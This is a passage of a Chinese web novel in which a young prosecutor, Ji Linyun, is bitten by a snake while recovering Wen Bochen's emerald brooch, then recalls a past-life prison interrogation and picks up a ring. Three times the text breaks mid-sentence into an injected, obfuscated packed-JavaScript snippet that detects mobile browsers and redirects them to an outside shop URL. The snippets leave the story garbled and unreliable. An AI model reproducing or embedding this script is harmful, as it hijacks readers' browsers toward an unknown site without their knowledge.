他听到季临韫的话,先是觉得有些荒诞和不可置信,随后胸口阵阵发烫。 他不知道那位检察院院长是怎么养的孩子,季临韫才多大?这才刚成年吧? 到底什么样的家庭环境和教育,竟然让季临韫有这样坚定甚至天真的信条,所以固执地逾越校规去执行,即使对象是一向不和的他。 季临韫轻轻地看他一眼:“你们有什么不同?” “哼。”闻泊彻哼笑一声,掩去眼眸里的复杂,说,“季同学,你刚刚不是还说,想要把我埋在这?” “哦,这句是谎话。”季临韫不带感情地说,“我对处理你这样的大型尸体没有兴趣,也不好操作。” 闻泊彻低着头笑了一下。他在灯火闪烁的间隙里,看到了季临韫黑色的明亮眼眸,忽然什么话都说不出口了。 不知道为什么,闻泊彻忽然想起了第一次见到季临韫的时候。他在苹果树下装病,季临韫俯身下来关切地探他额头的温度,翠绿的婆娑树影落在他的发间、脸颊,滚烫光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114155|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斑晃下来。 闻泊彻抬起头,就对上那双耐心而鲜明的眼眸,和现在一模一样。 他想,好像两看相厌这样久,他却从不了解季临韫。 “我以为你一向很守规矩。”半晌,闻泊彻才忍不住嘟囔了一句。 “规矩服务于人类。”季临韫显然听到了这句话,淡淡地说,“我一向认为解决问题更重要。” 闻泊彻想,季临韫说得对。不然小检察官也不会第一次见到他,就违反禁止私下斗殴的规定,一拳想解决了他。 “应该就在这附近,白天我们在这里进行训练。”走了大概十几分钟,闻泊彻缓下脚步,说,“是一枚胸针,上面镶嵌着鹅蛋大小的绿色宝石。” “好,我明白了。”季临韫应了一声,借着夜灯微弱的光芒,和闻泊彻在周围一起搜寻。 “晚上能见度很低。”在将四周都找过一圈后,季临韫停下来,思索片刻才说,“也有可能是被途径的小动物叼走了,只能在附近再找找,我们不能再深入进去了。” 闻泊彻其实也明白,胸针一旦在森林里丢失,再找回来的机会已经很小了。他有些闷闷地说:“嗯。” “还记得是怎么丢的吗?”季临韫问,“这样重要的东西,你一直贴身带着,今天是放在哪里了?” “在里衣胸口的口袋里。”闻泊彻微微皱着眉,说,“本来根本不会掉,我猜测是今天用了机械臂的装置,所以在训练过程中,机械臂的铁质部分将金属胸针吸过去了。我回去发现的时候,已经不知道被甩到哪里去了。” 他还想再补充细节,却听到季临韫忽然开口说:“灯抬高一些。” 闻泊彻依言抬起了灯。 季临韫踩着杂草朝前走了两步,抬起头,眼眸一下亮了亮:“闻泊彻,你往上看。那边好像有东西在闪闪发光。” 闻泊彻随着季临韫的视线看去,看到不远处的参天大树上,一个乌鸦窝的侧边,一颗绿色的宝石正在月色在熠熠生辉。 他的夜视能力很好,一眼就认了出来,说:“是这枚胸针!” “先别急。”季临韫一把将冲到树边的闻泊彻拽住,说,“那个乌鸦窝安在很细的一侧枝丫,我上去拿吧,里面还有几只幼崽,别压塌了。” 闻泊彻微微冷静下来,看了看树枝的宽度,知道让季临韫上去确实是最佳方案。但他一方面有些不服输,一边又不想让季临韫冒险爬那么高。 沉默片刻后,闻泊彻低声说:“谢谢,注意安全。” “嗯。”季临韫点了点头,轻巧而敏捷地爬上了树干,很快就到了乌鸦窝缩在的枝丫上。树枝变得狭窄起来,他动作更加小心了一些,一点一点接近那枚反射着月光的绿色宝石。 “拿到了。” 胸针握在手里的那一刻,季临韫也松了一口气。他正要往后撤回去,却忽然间听到树叶间传来窸窸窣窣的声音。 闻泊彻显然也注意到了这阵声响,猛地抬起头,看到一条花色小蛇从季临韫身后的树叶忽然冒出,迅速甩动尾部发出“嘶嘶”声,朝着季临韫的位置就窜过去! “小心!” 闻泊彻话音刚落,季临韫就明显感觉到脚踝一痛。他背对着树干,视线受限,只得深吸一口气,伸手下劈将那条蛇从伤口上一把拽了下来,用力甩了下去。 花蛇被砸晕了脑袋,丢在一旁的树枝上,缓过来后又迅速想对季临韫发起攻势。 季临韫先行一步,利落地抓住蛇尾将整条蛇拎起来,毫不留情地“啪啪”往树上砸。直到那条蛇彻底没了声息,他刚想继续往下爬,忽然感觉到整个人一阵眩晕,手腕顿时失力。 “季临韫!” 16. 祖母绿 16. 季临韫从高空跌落时,几乎听到了身旁呼啸而过的风声。 他用力攥住了手里的胸针,下一刻,预想中砸落在地的疼痛却没有传来,反倒跌在了一个健硕温热的胸膛上。 高空带来的冲击力实在太强,闻泊彻双臂顿时传来剧痛,却还是稳稳接住了季临韫。他下意识就想开口问他有没有受伤,眼前却蓦然出现一枚绿色胸针。 季临韫声线低低:“拿好,别再丢了。” 闻泊彻觉察到了他声音里的微弱,急忙问:“你受伤了?” “被蛇咬了一口,我不认识,但一定有毒。”季临韫已经觉得有些发晕了。他想去抓闻泊彻的衣袖,但手指有点晃,半天没抓紧,“这里太远了,通讯器现在估计没有信号,但也请你记得通知一下教授们。还有,麻烦你把那条蛇带上,已经被我砸死了。” 他的话太冷静了,好像不是在说和自己生命息息相关的事一样。 闻泊彻一愣,收紧手臂,去拨季临韫的发,看见这人已经冷汗淋淋,漆黑的眼眸半瞌着看他。他不敢再耽搁,抓了那条死蛇,抱着季临韫就迅速往回赶。 “小检察官,别睡觉。”闻泊彻发现怀里的脑袋歪了歪,简直心急如焚。他不断去叫季临韫的名字,问,“你现在感觉怎么样?” “头很晕,”季临韫睁了睁眼,但依旧平静地说,“我现在觉得心悸、恶心,感觉到寒冷。” 他似乎是难受得厉害,整个人往闻泊彻怀里再蜷了蜷,手心里也全抓着他胳膊上的衣服:“再前面一点通讯信号就会恢复,如果我晕过去了,麻烦你转告医生我的症状。” “对不起。”闻泊彻碰到季临韫有些发冷的手,将他抱得更紧了一些,说,“我没有想让你受伤。我宁愿……宁愿不要那枚胸针。” “不是你的问题。”季临韫已经没什么力气了,轻声说,“训练场地在这里,蛇白天也可能会有,学院的舰艇上医疗系统还算发达。我们没有引来其他东西,已经很顺利了。” “万一那条蛇有剧毒怎么办?”闻泊彻有些崩溃了,他宁愿季临韫像平时那样冷着一张脸,开口怒斥他,也一点也不想听到安慰的话。他深吸一口气,说:“季临韫,你要让我安全出去,就不把自己的命当命吗?” 他没有得到回应,因为季临韫已经彻底昏了过去。 闻泊彻就这样抱着他,以最快的速度往学生营地赶。在出森林边缘时,信号恢复,他立刻联系了几位带课教授,不过几分钟,原本漆黑的营地就亮满了灯。 校医第一时间冲上来,将昏迷的季临韫带到了学院停靠在泰洛斯星的舰艇上。有了那条死掉的蛇,他们迅速辨认出了蛇的种类,所幸医疗舱内准备了这类蛇的血清,可以迅速开始治疗。 季临韫再醒来时,已经是第二天的下午了。 他睁开眼,手背有些发凉,发现自己正躺在医疗室的病床上输液。 闻泊彻一直守在旁边,一下就注意到季临韫醒了。他倒了杯温水,有些急切地凑上来问:“你醒了?现在还有没有觉得不舒服?” 季临韫微微抬起身,他还是觉得浑身乏力,这会儿用那只没打针的手推了推闻泊彻的脸,说:“现在还好。你离我远点。” “我怎么离你远点?”闻泊彻说着话,又往前靠了一点,说,“季同学,你昏迷的时候,还是被我一路抱回来的。” 几乎凑到了跟前,他才发现,季临韫脸色微微红润了一些。也许是刚睡醒,他那双眼眸里的湿意更重,显得眼睫的黑色更深了几分,整个人仰起头,唇红齿白。 而他稍微抬起一点身,那张冷淡的脸就离自己更近了一分,带着热意的唇都好像凑过来。 闻泊彻半边脸还被季临韫手掌推着,却觉得他手心更加柔软。他看着季临韫的眼睛,一时不知道为什么愣住了,心脏也好像急促了几分。 他终于意识到,他确实离季临韫太近了。 而季临韫整个人都还很虚弱,没什么力气。他手掌里是毛茸茸的黑发,蹭得有些发痒:“别蹭我,闻泊彻,只有大型犬才会把脸凑过来。” 闻泊彻好像恍然回神,整个人“蹭”得一下坐了回去。他避开季临韫的眼神,把手上的温水递过去,说:“知道了,如果还有什么不舒服,我去叫校医。” “我还有些头晕。”季临韫微微蹙起眉,说,“可能是刚睡醒了没力气,如果一会儿还难受,再去叫校医吧。” 闻泊彻看着他半睁着眼,整个人枕在雪白枕头上的样子,想到了季临韫刚刚出医疗舱的时候,校医说的话。 “危险是脱离了。”校医摘下口罩,叹了口气,说,“这种蛇白天很少出没,幸好舰艇上准备了几百种血清。你们来得还算早,不至于有生命危险,就是这位同学之后某些身体机能可能会下降,你们得注意一下。” 闻泊彻此时看着季临韫难受蹙眉的样子,心中后悔而愧疚。他不想隐瞒季临韫,说:“这条蛇有剧毒,医生说,被咬伤之后,你之后可能身体……会没有之前好。” 不等季临韫开口,闻泊彻就急急道:“我会负责的!” 季临韫还没做出反应,先听到了闻泊彻这句话。他顿住一瞬,竟然轻轻笑了一下,说:“你怎么负责?” “我会照顾你。”闻泊彻还没见过他朝自己笑,愣了一瞬。他看着季临韫的眼睛,心脏忽然涌上来一股巨大的愧疚与涩意,几乎有些发痛了,“季临韫,你之后如果生了任何病,我都会治好你。” “知道了。”季临韫拒绝的话挂在嘴边,但对上闻泊彻充满自责的眼神,忽然意识到他是认真的。他垂眸沉默片刻,淡淡一笑,说:“那我还是不要生病比较好。” 他第一次看见闻泊彻流露出这样的一面,深绿色的眼眸里,季临韫甚至看到了一点无能为力的……痛苦。 “谢谢你。”闻泊彻低声说,“季临韫,你把我保护得很好。” “我这几天被停课了。”他就这样坐在季临韫床边,眼眸一眨不眨地盯着他,说,“医生说你也不宜下去活动,我留 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季临韫微微抬眸。 一枚华丽而剔透的祖母绿胸针,正安静躺在眼前宽大的手掌里。 他再眨眼,天色却倏忽变化,一下从阳光明媚的晌午,到了华灯初上的冬夜。 一枚华丽而剔透的祖母绿胸针,正安静躺在暗纹雕刻的木匣里。 “临韫?发什么呆。” 季临韫坐在量子车中,被身旁的闻泊彻轻轻叫了一声,回过神来。 他淡淡收回视线,说:“这是你们兰特斯特家族的东西,你自己好好收着。” 上辈子,季临韫这时候还没有对这枚胸针的记忆,只是当做一份礼物收下了。但他现在已经对这枚胸针的含义无比清晰,就不会再要。 “季检察官,你真的什么都没想起来?”闻泊彻轻笑一声,说,“你凭什么说这是兰特斯特的东西啊?这枚胸针很特殊,家族印记都刻在后面,可你看也没拿起来看一眼。” “报纸上见过。”季临韫抬了抬眼,说,“上个月,在你表哥大张旗鼓娶歌星艾薇儿小姐回家时。” “我们家族结婚就是大张旗鼓啊。”闻泊彻笑眯眯的,说,“结婚就一次,铺张浪费一些怎么了?我到时候也要让全星际都知道,我们两个结婚了。” “那就联姻的时候再给我。”季临韫看他一眼,说,“我父亲刚刚退休,请不要让兰特斯特家族奢靡的作风给他惹麻烦。” 闻泊彻觉得他怪正经的,哈哈大笑起来。他笑了半天,把小盒子收起来,说:“好啦,早点回去睡觉吧。但我觉得结婚还是不要带这枚胸针,你别红玫瑰会最好看。” 季临韫和他告别,转身时眼眸里的柔和却一点点褪去。他走到院子里,看见闻泊彻前段时间补栽的花已经开起来了。 花香重新馥郁,季临韫却在冬日凌冽的寒风中,冷静地想。 他们这辈子,不会再结婚了。 17. 噩梦 17. 暮色沉沉,在婆娑树影下,别墅院子的池塘中粼粼月光闪烁。方形的雕花灯罩里,槐黄色的灯光笼罩着鹅卵石小路,温和地从不远处映照出一个人影。 季临韫穿着单衣,外面披着一件白色斗篷,拿着灯朝池塘的方向走去。路边种满了蔷薇和月季花,这些植物经过了特殊的基因改造,即使在首都星的冬日,也依旧成簇生长。 他神色淡淡,手里拿着一杯热牛奶,在池塘前的小长椅上坐了下来。 太久没注意,从花园走到这里,沿途曾被闻泊彻踩坏的花,已经不知不觉都长好了。 季临韫喝了一口手上的热牛奶。他刚刚被噩梦惊醒,醒了就再也睡不着了。 最近和闻泊彻待在一起的时间太长,季临韫不知道自己是不是思虑过重,竟然梦到了上辈子,自己被奥利西斯移送监狱的时候。 那时候闻泊彻外出征战不久,他身体就有些不太好了,有时候会咳血。直到在暗无天日的监狱里被审讯,这种症状就更加明显了。 审讯室只有一盏曝光的大灯,季临韫被束缚在审讯椅上,脚踝被锁链拷住了,在晃眼的光线下接受长时间的精神力压迫。 奥利西斯身着剪裁得体的西装,站在季临韫面前,影子被光线拉得很长。 他将装着证据的文件袋拿出来,湛蓝色的眼睛笑着凑近,说:“十五年前的失败的政/变里,有你父亲的参与。很不巧,我这里还有一些他伪造证据的记录,数罪并罚,整个季家都逃不掉。” “你有本事把证据提交检察院吗?”季临韫漆黑的眼眸淡淡抬起,冷汗已经浸湿了他的发和眼。他一瞬间觉得视线有些模糊,语气毫无起伏:“编够了就滚,我没什么好和你说的。” 奥利西斯把一旁的录音关掉,白色手套托着下巴,若有所思地说:“而你,首席检察官季临韫,出卖联邦机密给叛党,也是死罪。” 审讯椅还在不断施加精神力的逼压,季临韫整个人发着颤,脚踝也被磨得生疼。他觉得自己好像又要发病了,对奥利西斯的话置若罔闻,闭了闭眼缓解身上剧烈的疼痛。 “以前在学院里,检测报告上不是显示季检察官身体素质极佳吗?” 皮鞋踩地的声音传来,奥利西斯逐步靠近,将季临韫下低的下巴一把捏起来。他能感受到他的下颚顿时紧绷成一条直线,调笑说:“你是在我面前装成这个样子吗,临韫?几次精神力压迫,不至于让你成这幅样子吧。” 季临韫全身都被绑着,脸庞一转狠狠甩开奥利西斯的手,漆黑眼眸里带着杀意与愠怒:“滚!” “但我很吃你这一套。”奥利西斯笑眯眯地拍了拍他的脸,说,“临韫啊,你知道自己现在像什么样子吗?我本来就想放过你,可你偏偏要管检察院那个案子。” 他居高临下地看着季临韫,一向冷淡高傲的首席检察官只穿了一件白衫,坐在审讯椅上,手脚都被捆死。他的皮肤在曝光下太白了,手上脚上的红痕显得尤为明显,在身上让人感到怜惜的同时,更增添了一种惊心动魄的施虐欲。 可偏偏黑色又在他身上极为浓重,他那双漆黑冷淡的眼眸好像不带情感,明明痛成这样了,里面却丝毫没有颓然之色,反倒带着明亮的意气。 “眼神怎么这么凶?临韫,我其实很喜欢你这张脸。”奥利西斯笑起来,手指拨开他湿透的发,吐声说,“求求我,和我上/床,我就把你带出去。婚约我也可以给你解除,你再也不用理那个讨人厌的元帅了。” “对检察官进行性/骚扰?”季临韫压住喉咙间的腥甜,眼神满是厌恶,冷冷说,“滚蛋!” “你都想拉我下台了,我还怕你状告我这一条?”奥利西斯低垂下眸,缓慢弯腰靠近他的脸,笑里带着毫不掩饰的恶意,“临韫,不是什么大不了的问题吧,他难道没有对你做过这种事情吗?” “你那天帮闻泊彻挡了那杯下/药的酒,他晚上把你干爽了吗?” 奥利西斯看见他发颤的眼眸,以为戳到了他的痛处,笑意愈发明显,说:“临韫,我是不是对你太客气了?你以为我不能强迫……” 他话还没说完,就看见季临韫肩膀剧烈发抖,随后一口血咳出来,吐了自己一脸。 “你刚刚说什么?”季临韫整个人痛得发狠,脾气也没刚才好了。他耳边嗡鸣还在持续作响,唇角都是血,冷白的脖颈也被溅了几滴上去,显得尤为触目惊心,“我他妈没听清。” 奥利西斯的好兴致被这口血喷没了。他整个人不爽到了极点,面无表情地擦掉脸上的血,按了审讯室的铃。 监狱长立马从外面开门走进,奥利西斯背过身,冷淡地说,“立马把前检察官放下来,秘密带到中心医院做检查。” 季临韫痛得失力,手腕和脚踝处的束缚被解开。他却在软绳松开的瞬间甩开周围的卫兵,一脚就往奥利西斯身上踹过去,手上上去又要是一拳。 “砰——” 闻讯赶来的卫兵都没想到,季临韫都成这个样子了,竟然还能把执政官一脚踹翻。奥利西斯也猝不及防地挨了这一下,狠狠砸到了不远处的储物柜上,上面落灰的文件顿时劈头盖脸砸了一地。 “执政官先生!” 下一刻,季临韫就重新被身后的士兵压住,大家都惊恐地看着执政官从文件堆里爬起来,西装上带着明显的脚印。有几个人当即就想对季临韫动手,被奥利西斯抬手制止了。 “别碰他,”奥利西斯看着季临韫冷淡的眼睛,伸手扳起他的下巴,说,“我挨一下不要紧,季检察官要是挨这一下,死了怎么办?” “奥利西斯。”这是在监狱里,季临韫第一次叫他名字。他冰冷而淡然地说,“你最好是在监狱里弄死我,不然我一定让你罪有应得。” “哦。”奥利西斯好似根本不在意,用两个人才能听见的音量,笑着问,“在床/上弄死你吗?” 季临韫抬腿又想一脚,被身后的两个士兵随即按住肩膀,死死押住。 在监狱里,逼训时遭受的精神力冲击所带来的痛苦,其实远不及身上的疼痛。季临韫在中心医院秘密住了一周的院,被带回去的时候,奥利西斯翘着腿,满脸遗憾地说:“好可惜,基因链都开始断裂了,活不长了,临韫。” “怎么把自己弄成了这个样子。”他掐着季临韫的脖子,感受生命的脆弱与温热。季临韫这个样子,他好像一用力就能掐死他。 “你不清楚吗?”季临韫睁开眼,眼眸中的深黑让人心惊,“你不知道在我重伤昏迷的时候,他们给我灌下了什么东西吗?” 奥利西斯甩开手,对着季临韫冷淡的眼神莞尔一笑,说:“这是你活该,临韫。” 季临韫在这个时候开始咳血,但奥利西斯和监狱长却并没有对他停止审讯手段。这一段时间,他偶尔在高热中混沌,疼得实在麻木,有时甚至都感觉不到审讯的痛苦了。 在生命的尽头,奥利西斯就好像把他当成玩具一样,在审讯室看着他在精神力的冲击下多次发病、看他原本昳丽而深重的黑色眉眼痛到茫然,看他一次次濒死。 季临韫想起前世的经历,原本以为自己会感到十分不堪。但也许是发病的痛苦远胜奥利西斯的折磨,他现在见到奥利西斯竟然没有太大阴影,他除了想把他掐死,也不会再生理性颤抖了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114157|195900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 重生后,可能是闻泊彻实在太能占据人的注意力,他竟然也很少想到前世被奥利西斯关起来的日子了。 月色凌冽而剔透,季临韫不知不觉盯着流动的池塘落影,发了许久的呆。他把手上的牛奶喝完,感到到脚踝处一片冰凉。他出来的太急了,白袜忘了穿。 将季临韫的叫回神的,是一旁滴滴作响的通讯器。他瞥见通讯器上名字,沉默片刻,接通了:“学长?” “阿韫,还没休息吗?刚刚看见你的社交账号在线。”狄明斯笑起来,说,“就想着打一个通讯给你,没想到这么快就接通了。” “正好醒了。”季临韫裹紧了身上的斗篷,把自己包起来。他在做出这个动作的时候,很不合时宜地想到了闻泊彻。 他想,如果闻泊彻看见自己穿少了衣服,肯定先要说他一顿,随后那双暖热而粗粝的手掌就会凑近,帮他系好斗篷的黑色丝带。 “你们今天去挑戒指了吗?”狄明斯问,“我晚上其实也在那边,但你们走得太快,我就没有上前打招呼。” 季临韫默默低下头,想,闻泊彻忽然凑近掐他下巴的事,肯定被狄明斯正好撞见了。他估计以为他要吻他,这种时候怎么能上来打招呼。 “没有挑对戒。”季临韫说,“婚贴还没有选出来,但不会有那一天了,戒指也没必要准备。” 狄明斯闻言,只觉得呼吸有些急促。他将自己莫名的希冀和悸动压下,问:“临韫,我再和你确定一下,你不会和闻泊彻结婚,对吗?” “学长,你知道我和闻泊彻以前的关系。”季临韫冷然道,“我想起来之后,怎么会想要和他结婚。” “既然这样,我也会为这件事负责。”狄明斯深吸一口气,温和地说,“阿韫,我说过由卡斯特洛家族来承担这次失败联姻的所有经费,是作数的。” “我也不愿意你陷入一场痛苦的婚姻。”他缓慢而坚定地说,“阿韫,你就当这段时间,是我带你回维纳α星度假好吗?以后如果你有喜欢的人,我再送你结婚礼物。” “谢谢你,学长。”季临韫也笑了一下,说,“政治联姻悔婚,是很不道德的、不负责的行为。我自己会为这件事负责,不需要卡斯特洛家族来承担。” 狄明斯知道季临韫的性格,不好强求。他叹了口气,说:“你那时候怎么会答应他呢?” “我那时候确实没有记忆。”季临韫想了想,用上辈子的经历回答他,“现在想起来了。我和闻泊彻根本不可能结婚,他哄骗我的行为同样不道德。” 狄明斯被他一本正经的挤兑逗笑了,半响又有些担忧地说:“阿韫,那你可不能再和他准备婚礼的东西了。闻泊彻估计认真挑了,到时候你悔婚,他估计脸上会很不好看。” “他拉我下水这么多次。”季临韫想起闻泊彻以前干的那些好事,眼睛带起一点笑。 他随即意识到自己在和狄明斯通话,立即敛下去,在通讯里冷漠地说,“这是我唯一做过对不起他的事,我想闻元帅应该可以谅解。” “阿韫,那我到时候来接你,带你一起回维纳α星。”狄明斯闻言,心情很明朗,带着笑说,“军部这段时间都很忙,好像最近边缘星区出了一些问题。闻泊彻不可能离开军部,你不用担心。” “嗯。”季临韫应了一声,说,“麻烦你了,学长。” 挂断通讯后,季临韫从长椅上起身,踩着棉拖鞋重新回独栋小房子里。 在经过院子里的花圃时,他有些怔怔地想。离开首都星后,这些花可能就没有人特意去打理了。 而闻泊彻,也再也不会给他再种一院子玫瑰了。 18. 戒指 18. 联邦最高检察院内。 连廊内天光明晰,窗外梧桐大片的树影落进来,大理石地板上从远及近传来皮鞋的敲击声。 季临韫穿着一身黑色的检察官制服,在走廊尽头的院长办公室前停下来。 他不重不轻地敲了三下门,院长和蔼而温厚的声线从门内传出:“请进。” 季临韫拧开门把手,刚走进去,就看见院长正坐在办公桌前喝茶,旁边是厚厚几沓档案和文件,淡淡的墨水味从纸张中蔓延出来。 现在,纸质书籍已经用得很少了。但检察院不一样,为了防止数据库被侵入和修改,联邦要求所有的案件必须要有纸质存档。 埃里克之前还开玩笑说,检察院视力疲劳的概率远远小于其他机关。 “临韫来了。”院长已经年过白半,却依旧精神矍铄,两鬓也不见斑白。 他是在季临韫父亲被调往法院后接任的,之前在学院里算季临韫半个老师,对他一直态度很温和:“要不要过来喝杯茶?” “我喝过了,谢谢您。”季临韫将手上的文件递给他,说,“我是来找您签字的,今年的假期的批准需要向您请示。” “婚假吧?”院长笑呵呵的,调侃说,“你和闻元帅的婚期好像确实也不远了,恭喜啊,全联邦都在期待你们两个的婚事呢。” 季临韫淡笑着说:“还有一段时间。” “我到时候一定要过去喝杯喜酒。”院长喝着热茶,大笔一挥签了字,关切地说,“这段时间检察院里很忙,你确实也应该好好休息一段时间了,临韫。” “谢谢您的关心。”季临韫接过文件,正要离开,又听到院长随意地问,“临韫啊,之前编号RP-5的案子,你归档了吗?” 季临韫脚步顿住,冷然的眉眼中透露出一点茫然之色:“您说什么?” “啊,”院长看他神色,也反应过来,笑着说,“你瞧瞧我,年纪大了,都忘了这是你出事前的案子了。这个案子已经转交给塞缪尔了,他应该处理得很妥当。” “以前的事情,我还没想起来。”季临韫恳切而谦和地说,“如果有之前的案子需要我协助,您尽管和我说。” “我想也是,”院长靠在办公椅上,仍旧笑得和蔼,全身却比之前更加舒展放松了许多,“你呀,要是想起了之前的那些事,肯定要为婚事和奥利西斯抗议了。” 季临韫笑了笑,只说:“闻元帅当时救了我,现在也对我态度很好。我还有些事情要处理,就不打扰您了。” “你去吧,临韫。”院长握着茶杯,说,“下次叫上你父亲,我们一起出去喝茶。” 季临韫走出办公室的门,眼眸里笑意淡了下来。 RP-5,就是上辈子意外交到季临韫手里的案子,是一起关于第九星区食品安全问题的诉讼。 在第九星区,居民指出,是由于一种价格低廉的三级营养液,导致他们爆发了小型基因疾病。这个案件在本星区检察院提出诉讼后被驳回,向最高检察院提出复查。 但即使送到最高检察院,也不会逃脱诉讼失败的命运。因为这批营养液是由农科部和几家巨头生物公司承包,有最权威的联邦科学院提供的无害检测证明。 并且,三级营养液在不止在第九星区售卖,在经济匮乏的其他星区也都畅销。如果真是营养液引发的公共安全事件,其他人怎么没事? 季临韫曾亲自去科学院,看着相关人员做出了检测,成分确实没有任何问题。在庭审中,辩方律师也一直朝骗保和敲诈农科部的方向诱导陪审团,好像事实却是如此。 第九星区群体基因病的爆发,最终被归咎于病发前,由于行星运动而产生的γ射线的暴露。 但季临韫手下的联邦调查员,却在这时从第九星区寄来一封秘信,让整个案件顿时变得扑朔迷离。 信应该是被匆匆寄出来的,指出这场γ射线的暴露并非正常天体现象,并且和前不久营养液的配方改良可能有密切关系。季临韫上辈子看到信件,一直暗自追查,直到被人挟持,丢在荒星的雪原当中。 至此,季临韫失忆,线索基本中断。 季临韫看着手上的文件,院长签名在上面秀丽遒劲,力度习惯性透过纸背。他只是再看了一眼,就收起来,随后快步下楼,离开了检察院。 冬日黄昏前的阳光很舒服,带着一点橘调的暖意落在身上。季临韫裹上围巾,驱车去了十几公里外的旧街区,到一家店来取东西。 此时已经华灯初上了。比起主城区的高楼大厦,旧城区的住宅显得更加低矮破旧。 但这边多住着一些身负贷款的学生或者青年,管制较主城区更松,灯火却依旧繁闹,人来人往间气氛显得轻快许多。 季临韫走到一家老旧的店铺前,旁边的铜制壁灯正发着橙黄色的光。他把有些弄散的围巾又迟钝地圈回去,按了一下铃,很快有人给他开门。 “季先生?” 开门的是一个小女孩,一见到季临韫眼睛就亮了。她扎着双马尾,穿着红色的柿子印纹马甲,叽叽喳喳地说:“您订的戒指早就好啦,快进来拿吧!” 季临韫跟着走进去,店内烧了壁炉,很暖和。 小女孩蹦蹦跳跳地从柜台后拿出一个黑色皮质的小盒子,得意洋洋地说:“我做的可好了,您拿过来的材料那么漂亮,绝对百分百包满意!” 季临韫被她活泼的神色感染,也笑了一下。他轻轻打开盒子看了一眼,就收进了大衣口袋里:“谢谢。” 小女孩有些惊讶,说:“您不再检查一下吗?” “不用了,我约了人,有些赶时间。”季临韫冒着冷风,重新走出去,“我来过你这里的事,请不要告诉其他人。” “您放心吧!”小女孩将手指捏在唇边一划,信誓旦旦地做了一个封口的动作。 季临韫重新回到车内,开到住宅,刚刚洗完澡,就接到了闻泊彻的通讯。 他点开接听,闻泊彻带着笑意的声音就传出来,说:“大检察官,我现在到你楼下了。在坐什么?” “稍等。”季临韫穿了件白毛衣,站在二楼的窗前。玻璃上已经起了一点水雾,将外面灯火的色块晕得模糊不清。 他将窗户打开,冷意顿时铺面而来,外面的瓷砖上都铺了薄薄一层霜。 而闻泊彻就站在庭院里的花树下,穿着军装半倚在身后的两种车上,月色透过重重叠叠的树影落在他的俊朗深邃的脸上。 旁边路灯发出灿灿的橘光,他此刻好像觉察到了季临韫的视线,抬头朝上看,神色竟尤显温柔。 “穿上大衣再下来。”通讯器里传来闻泊彻微微失真的嗓音。季临韫关上窗,披了件长款带绒的外套就下楼了。 他没挂断通讯,闻泊彻的声音也就没断:“怎么忽然想吃学府路的红油小馄饨了?刚下班就去给你排队了,大检察官。” “辛苦了,闻元帅。”季临韫走到玄关推开门,走几步路,就撞上了庭院里闻泊彻笑意盈盈的脸。 这人趁他没下来的时候,还在玩院子里异木棉掉下来的棉絮。风一吹,棉絮就白花花地落了一院子,像雪一样。 红油小馄饨正温在保温盒里,被闻泊彻带着白手套的指节拎着。他刚听到大门的解锁声,就从车旁正起身,棉絮也不玩了。 “衣服也不穿好。” 季临韫刚走近,就被闻泊彻牵住手腕,一把带到前面来。他絮絮叨叨地批评季临韫,说:“这么冷的天,冻坏了怎么办?” 季临韫安静地站定,垂眼能看见闻泊彻俯身,修长的指尖灵活地给自己系着大衣扣子。 他眸中神色忍不住柔和下来,抬手在闻泊彻胸膛上敲了敲,问:“我的馄饨呢?” “检察官好大的官威呀,人到了都不体恤一句,开口就管我要馄饨?”闻泊彻哼笑一声,说,“真把我当外卖员了?” “闻泊彻,”季临韫轻声叫他,说,“我饿了。” 他明明是平常的语气,不重不轻的一声。可闻泊彻对上那双漆黑的眼睛,却觉得他在撒娇。 “还给你买了旁边的草莓可颂三明治。”闻泊彻一看见他的眼睛就心软,也不逗他了,巴不得立马打开食盒两人共进晚餐,说,“其他面包也买了一些。” “太多了,”季临韫说,“会吃不完的。” “吃不完我替你吃。”闻泊彻笑着说,“站外面这么久,不请我进去坐坐?” “请进,”季临韫帮他拎了两个面包袋子,馥郁的麦香透过油纸逸散出来。他顿时觉得心情也好了一些,淡笑了声,说,“闻元帅现在进我家的院子,不是如闯无人之境一样么?” 自从上次闻泊彻弄坏了他的花,承诺赔他一园子后,就让季临韫给他开了院门的权限,开着车就能直接进来。 “上次院子里的异木棉还没开这么多花。”闻泊彻在季宅简直轻车熟路,放下东西就走进厨房里,顺便还开火给季临韫煎了两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的指节还被季临韫握着,温凉的金属触感和这人的体温一起抵达指根。 “我没有其他意思。这枚戒指也是随意买的,可以装饰……”季临韫刚把戒指给他戴上去,就感觉到手腕处一阵巨力袭来,眼前暗下来,下一刻脊背就撞上了椅背上的软垫。 季临韫被闻泊彻双手一撑,困在了狭小的椅子里。他蹙眉仰起头,却对上了闻泊彻略带失态和滚烫的眼睛。 “你没有其他意思?”闻泊彻手掌就撑在他腰边,整个人呼吸都有些急促。他看季临韫的眼神带着一点压迫和渴求,下意识就用戴着戒指的那只手,从后扣住了季临韫的后脑。 